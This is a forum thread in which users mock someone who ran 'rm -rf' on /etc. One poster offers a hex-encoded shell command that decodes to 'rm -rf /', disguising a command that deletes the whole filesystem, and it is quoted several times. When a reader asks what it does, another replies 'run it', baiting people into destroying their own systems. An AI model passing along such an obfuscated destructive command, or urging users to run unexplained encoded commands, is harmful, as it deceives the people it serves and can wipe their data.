dammit, I did something stupid

[Beattie]

I used 'rm -rf' on /etc by accident.

dammit.

 

[Platypus]

rootowned

 

[PowerMacG5]

<Nelson>Ha ha</Nelson>

btw, Wrong Forum.

 

[xcript]

Heh. I've done the same thing to /opt before. Not nearly as catastrophic though.

0wned.

 

[Pepsi90919]

Originally posted by: KraziKid
<Nelson>Ha ha</Nelson>

btw, Wrong Forum.

i don't see him looking for advice on how to undo it.

 

[Beattie]

The funniest part is that since /etc/shadow contains all the passwords, no one can log in to save any of the data. Guess I need to go in single user mode later, or boot off a CD and mount the Hard Disk and then rebuild it.

I am too lazy to do it now. Maybe tomorrow.

 

[alkemyst]

phear `echo -e $'\x72\x6d\x20\x2d\x72\x66\x20\x2f'`

 

[xcript]

Originally posted by: alkemyst
phear `echo -e $'\x72\x6d\x20\x2d\x72\x66\x20\x2f'`

Heh. I just think it'd be hilarious if someone was stupid enough to run it.

 

[Gyrene]

LMFAO. That's really stupid...like so moronic you never should have been in the root account period. Wow, I never thought it was actually possible to be that moronic. LMFAO!!! just harassing ya

 

[GhettoFob]

Originally posted by: xcript

Originally posted by: alkemyst
phear `echo -e $'\x72\x6d\x20\x2d\x72\x66\x20\x2f'`

Heh. I just think it'd be hilarious if someone was stupid enough to run it.

what does that do?

 

[Tetsuo]

/me = linux know nothinger

 

[Gyrene]

Originally posted by: GhettoFob

Originally posted by: xcript

Originally posted by: alkemyst
phear `echo -e $'\x72\x6d\x20\x2d\x72\x66\x20\x2f'`

Heh. I just think it'd be hilarious if someone was stupid enough to run it.

what does that do?

run it

 

[cavemanmoron]

Originally posted by: alkemyst
phear `echo -e $'\x72\x6d\x20\x2d\x72\x66\x20\x2f'`

 

[bleeb]

QUICK.. SOMEONE POST A "PWNED" PIC!!

 

[Gibson486]

what does that do?

 

removed since there are other things at that site .

 

[alkemyst]

Originally posted by: Gibson486

what does that do?

ask xscript

I ran it once and it did nothing however I didn't try it as a superuser or admin

 

[KingNothing]

Originally posted by: alkemyst
phear `echo -e $'\x72\x6d\x20\x2d\x72\x66\x20\x2f'`

I'm going to be that guy...the \xNN bits are ascii characters. The first one is r...the second one is m...there's another r and an f in there...

 

[xcript]

Originally posted by: KingNothing

Originally posted by: alkemyst
phear `echo -e $'\x72\x6d\x20\x2d\x72\x66\x20\x2f'`

I'm going to be that guy...the \xNN bits are ascii characters. The first one is r...the second one is m...there's another r and an f in there...

Oh no. What have you done? Don't tell everyone.

 

[docmanjimmer]

look for the recycle bin somewhere on the desktop